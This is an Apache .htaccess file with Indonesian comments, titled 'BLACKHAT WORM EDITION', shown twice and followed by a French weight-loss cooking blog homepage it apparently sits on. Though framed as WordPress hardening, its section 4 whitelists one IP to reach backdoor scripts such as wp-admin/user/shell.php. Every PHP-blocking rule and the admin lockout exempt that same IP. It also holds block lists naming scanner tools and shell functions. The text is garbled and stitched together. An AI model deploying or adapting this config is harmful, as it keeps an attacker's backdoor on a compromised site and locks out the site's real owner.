# ================================================================= # .HTACCESS ULTIMATE V2 - BLACKHAT WORM EDITION # DIBUAT UNTUK: WordPress Hardening + Anti Backdoor + Anti Exploit # IP YANG DIIZINKAN: 138.199.60.176 (GANJIL SESUAI PERMINTAAN) # WARNING: JANGAN UBAH ATURAN INI KALAU TIDAK PAHAM # ================================================================= RewriteEngine On RewriteBase / # ================================================================= # 1. BLOKIR SEMUA USER-AGENT BERBAHAYA (BOT JAHAT, SCANNER, DLL) # ================================================================= RewriteCond %{HTTP_USER_AGENT} (?:^$|libwww|perl|python|nikto|curl|wget|scan|java|php|webzip|sqlmap|nmap) [NC,OR] RewriteCond %{HTTP_USER_AGENT} (havij|masscan|zgrab|zgrab2|wpscan|joomscan|acunetix) [NC] RewriteRule .* - [F,L] # ================================================================= # 2. BLOKIR REQUEST YANG MENGANDUNG POLA EKSPLOIT # ================================================================= # Blokir SQL Injection, XSS, Remote File Inclusion, dll RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR] RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR,NC] RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [OR,NC] RewriteCond %{QUERY_STRING} (eval\(|base64_decode|system\(|shell_exec|passthru|popen|proc_open) [NC,OR] RewriteCond %{QUERY_STRING} (concat|union|select|insert|update|delete|drop|create|alter) [NC,OR] RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [NC,OR] RewriteCond %{QUERY_STRING} (localhost|127\.0\.0\.1) [NC] RewriteRule .* - [F,L] # ================================================================= # 3. BLOKIR METODE HTTP YANG TIDAK DIPERLUKAN # ================================================================= RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS|HEAD|PUT|DELETE) [NC] RewriteRule .* - [F,L] # ================================================================= # 4. IZINKAN BACKDOOR ANDA (HANYA DARI IP ANDA) # ================================================================= RewriteCond %{REMOTE_ADDR} ^138\.199\.60\.176$ RewriteRule ^wp-admin/user/(themes|class-wp-html-text-templates|index|shell)\.php$ - [L] # ================================================================= # 5. BLOKIR SEMUA FILE PHP DI FOLDER YANG TIDAK SEHARUSNYA # ================================================================= # --- Blokir PHP di wp-content/uploads (tempat favorit backdoor) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteRule ^wp-content/uploads/.*\.(php|phtml|php3|php4|php5|phar|inc|module|sh|pl|cgi)$ - [F,L] # --- Blokir PHP di wp-content/cache (sering jadi celah) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteRule ^wp-content/cache/.*\.(php|phtml|php3|php4|php5|phar|inc)$ - [F,L] # --- Blokir PHP di wp-content/upgrade (tidak boleh ada PHP di sini) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteRule ^wp-content/upgrade/.*\.(php|phtml|php3|php4|php5|phar)$ - [F,L] # --- Blokir PHP di wp-content/languages (tidak boleh ada PHP asing) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteRule ^wp-content/languages/.*\.(php|phtml)$ - [F,L] # --- Blokir PHP di wp-includes (kecuali file bawaan WordPress) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteCond %{REQUEST_URI} !^/wp-includes/(wp-db\.php|wp-load\.php|version\.php|class-wp-.*\.php|functions\.php)$ RewriteRule ^wp-includes/.*\.(php|phtml)$ - [F,L] # --- Blokir PHP di wp-admin (kecuali file inti WordPress) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteCond %{REQUEST_URI} !^/wp-admin/(admin-ajax\.php|admin-post\.php|admin\.php|load-scripts\.php|load-styles\.php)$ RewriteRule ^wp-admin/.*\.(php|phtml)$ - [F,L] # --- Blokir PHP di folder themes (kecuali file tema bawaan) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteCond %{REQUEST_URI} !^/wp-content/themes/.*/(functions|header|footer|page|single|index|style)\.php$ RewriteRule ^wp-content/themes/.*\.(php|phtml)$ - [F,L] # --- Blokir PHP di folder plugins (kecuali file plugin yang valid) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteCond %{REQUEST_URI} !^/wp-content/plugins/.*/(index|plugin|load)\.php$ RewriteRule ^wp-content/plugins/.*\.(php|phtml)$ - [F,L] # ================================================================= # 6. BLOKIR AKSES WP-ADMIN DAN WP-LOGIN (KECUALI IP ANDA) # ================================================================= RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteCond %{REQUEST_URI} ^/wp-admin RewriteRule .* - [F,L] RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteCond %{REQUEST_URI} ^/wp-login\.php RewriteRule .* - [F,L] # ================================================================= # 7. BLOKIR AKSES KE FILE SENSITIF # ================================================================= Require all denied # ================================================================= # 8. MATIKAN DIRECTORY BROWSING # ================================================================= Options -Indexes # ================================================================= # 9. PROTECTION TERHADAP FILE UPLOAD DENGAN EKSTENSI GANDA # ================================================================= RewriteCond %{REQUEST_FILENAME} .*\.(jpg|jpeg|png|gif|bmp|ico|svg|pdf|doc|docx|xls|xlsx|zip|rar|txt)\.(php|phtml|php3|php4|php5|phar)$ [NC] RewriteRule .* - [F,L] # ================================================================= # 10. SET HEADER KEAMANAN EKSTRA # ================================================================= Header set X-Frame-Options "SAMEORIGIN" Header set X-Content-Type-Options "nosniff" Header set X-XSS-Protection "1; mode=block" Header set Referrer-Policy "strict-origin-when-cross-origin" Header set Permissions-Policy "geolocation=(), microphone=(), camera=()" # ================================================================= # 11. ATURAN DEFAULT WORDPRESS (WAJIB ADA) # ================================================================= RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] # ================================================================= # 12. BLOKIR AKSES LANGSUNG KE FILE XML-RPC (SUMBER DDOS) # ================================================================= Require all denied # ================================================================= # 13. BLOKIR AKSES KE FILE INSTALL (AMANAN) # =================================================================c Require all denied # ================================================================= # END OF .HTACCESS ULTIMATE V2 # =================================================================# ================================================================= # .HTACCESS ULTIMATE V2 - BLACKHAT WORM EDITION # DIBUAT UNTUK: WordPress Hardening + Anti Backdoor + Anti Exploit # IP YANG DIIZINKAN: 138.199.60.176 (GANJIL SESUAI PERMINTAAN) # WARNING: JANGAN UBAH ATURAN INI KALAU TIDAK PAHAM # ================================================================= RewriteEngine On RewriteBase / # ================================================================= # 1. BLOKIR SEMUA USER-AGENT BERBAHAYA (BOT JAHAT, SCANNER, DLL) # ================================================================= RewriteCond %{HTTP_USER_AGENT} (?:^$|libwww|perl|python|nikto|curl|wget|scan|java|php|webzip|sqlmap|nmap) [NC,OR] RewriteCond %{HTTP_USER_AGENT} (havij|masscan|zgrab|zgrab2|wpscan|joomscan|acunetix) [NC] RewriteRule .* - [F,L] # ================================================================= # 2. BLOKIR REQUEST YANG MENGANDUNG POLA EKSPLOIT # ================================================================= # Blokir SQL Injection, XSS, Remote File Inclusion, dll RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR] RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR,NC] RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [OR,NC] RewriteCond %{QUERY_STRING} (eval\(|base64_decode|system\(|shell_exec|passthru|popen|proc_open) [NC,OR] RewriteCond %{QUERY_STRING} (concat|union|select|insert|update|delete|drop|create|alter) [NC,OR] RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [NC,OR] RewriteCond %{QUERY_STRING} (localhost|127\.0\.0\.1) [NC] RewriteRule .* - [F,L] # ================================================================= # 3. BLOKIR METODE HTTP YANG TIDAK DIPERLUKAN # ================================================================= RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS|HEAD|PUT|DELETE) [NC] RewriteRule .* - [F,L] # ================================================================= # 4. IZINKAN BACKDOOR ANDA (HANYA DARI IP ANDA) # ================================================================= RewriteCond %{REMOTE_ADDR} ^138\.199\.60\.176$ RewriteRule ^wp-admin/user/(themes|class-wp-html-text-templates|index|shell)\.php$ - [L] # ================================================================= # 5. BLOKIR SEMUA FILE PHP DI FOLDER YANG TIDAK SEHARUSNYA # ================================================================= # --- Blokir PHP di wp-content/uploads (tempat favorit backdoor) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteRule ^wp-content/uploads/.*\.(php|phtml|php3|php4|php5|phar|inc|module|sh|pl|cgi)$ - [F,L] # --- Blokir PHP di wp-content/cache (sering jadi celah) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteRule ^wp-content/cache/.*\.(php|phtml|php3|php4|php5|phar|inc)$ - [F,L] # --- Blokir PHP di wp-content/upgrade (tidak boleh ada PHP di sini) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteRule ^wp-content/upgrade/.*\.(php|phtml|php3|php4|php5|phar)$ - [F,L] # --- Blokir PHP di wp-content/languages (tidak boleh ada PHP asing) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteRule ^wp-content/languages/.*\.(php|phtml)$ - [F,L] # --- Blokir PHP di wp-includes (kecuali file bawaan WordPress) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteCond %{REQUEST_URI} !^/wp-includes/(wp-db\.php|wp-load\.php|version\.php|class-wp-.*\.php|functions\.php)$ RewriteRule ^wp-includes/.*\.(php|phtml)$ - [F,L] # --- Blokir PHP di wp-admin (kecuali file inti WordPress) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteCond %{REQUEST_URI} !^/wp-admin/(admin-ajax\.php|admin-post\.php|admin\.php|load-scripts\.php|load-styles\.php)$ RewriteRule ^wp-admin/.*\.(php|phtml)$ - [F,L] # --- Blokir PHP di folder themes (kecuali file tema bawaan) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteCond %{REQUEST_URI} !^/wp-content/themes/.*/(functions|header|footer|page|single|index|style)\.php$ RewriteRule ^wp-content/themes/.*\.(php|phtml)$ - [F,L] # --- Blokir PHP di folder plugins (kecuali file plugin yang valid) --- RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteCond %{REQUEST_URI} !^/wp-content/plugins/.*/(index|plugin|load)\.php$ RewriteRule ^wp-content/plugins/.*\.(php|phtml)$ - [F,L] # ================================================================= # 6. BLOKIR AKSES WP-ADMIN DAN WP-LOGIN (KECUALI IP ANDA) # ================================================================= RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteCond %{REQUEST_URI} ^/wp-admin RewriteRule .* - [F,L] RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$ RewriteCond %{REQUEST_URI} ^/wp-login\.php RewriteRule .* - [F,L] # ================================================================= # 7. BLOKIR AKSES KE FILE SENSITIF # ================================================================= Require all denied # ================================================================= # 8. MATIKAN DIRECTORY BROWSING # ================================================================= Options -Indexes # ================================================================= # 9. PROTECTION TERHADAP FILE UPLOAD DENGAN EKSTENSI GANDA # ================================================================= RewriteCond %{REQUEST_FILENAME} .*\.(jpg|jpeg|png|gif|bmp|ico|svg|pdf|doc|docx|xls|xlsx|zip|rar|txt)\.(php|phtml|php3|php4|php5|phar)$ [NC] RewriteRule .* - [F,L] # ================================================================= # 10. SET HEADER KEAMANAN EKSTRA # ================================================================= Header set X-Frame-Options "SAMEORIGIN" Header set X-Content-Type-Options "nosniff" Header set X-XSS-Protection "1; mode=block" Header set Referrer-Policy "strict-origin-when-cross-origin" Header set Permissions-Policy "geolocation=(), microphone=(), camera=()" # ================================================================= # 11. ATURAN DEFAULT WORDPRESS (WAJIB ADA) # ================================================================= RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] # ================================================================= # 12. BLOKIR AKSES LANGSUNG KE FILE XML-RPC (SUMBER DDOS) # ================================================================= Require all denied # ================================================================= # 13. BLOKIR AKSES KE FILE INSTALL (AMANAN) # =================================================================c Require all denied # ================================================================= # END OF .HTACCESS ULTIMATE V2 # ================================================================= Accueil - La Cuisine de Pierrick

La cuisine de Pierrick

Le vent de fraîcheur qu'il vous faut !

Nous sommes ravis de vous accueillir dans l’univers de la cuisine pour maigrir. Ce blog a été créé dans le but de vous offrir une mine d’informations et d’inspiration pour mener une alimentation saine et équilibrée, sans compromettre le plaisir des papilles.

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Le vent de fraîcheur qu’il vous faut !

Cuisine pour maigrir

Notre équipe passionnée de cuisine a rassemblé ici une multitude de recettes minceur délicieuses, concoctées avec soin pour vous aider dans votre parcours de perte de poids. Nous mettons l’accent sur des plats savoureux, mais faibles en calories, afin que vous puissiez vous régaler tout en atteignant vos objectifs.

Au-delà des recettes, nous partageons également des conseils et des astuces pratiques pour optimiser votre expérience en cuisine. Que vous soyez débutant ou chef cuisinier chevronné, vous trouverez ici des informations utiles pour perfectionner vos compétences culinaires et découvrir de nouvelles techniques qui vous aideront à préparer des repas sains et équilibrés.

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Quels sont les aliments à privilégier pour la perte de poids ?

La perte de poids est un objectif commun pour de nombreuses personnes souhaitant améliorer leur santé et leur bien-être. Bien qu’il existe de nombreuses méthodes pour atteindre cet objectif, l’alimentation est souvent considérée comme l’un des facteurs les plus importants. En effet, les choix alimentaires que nous faisons peuvent avoir un impact significatif sur notre poids corporel et notre santé globale.

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Quels sont les avantages de l’alimentation pour maigrir pour les sportifs ?

L’alimentation joue un rôle crucial dans la perte de poids, notamment pour les sportifs. En effet, les athlètes cherchent souvent à perdre du poids pour améliorer leurs performances ou atteindre un objectif spécifique dans leur discipline.Une alimentation équilibrée et adaptée à leurs besoins peut donc leur permettre de perdre du poids de manière efficace et durable, tout en maintenant leur santé et leur niveau d’énergie pour leurs entraînements et compétitions.

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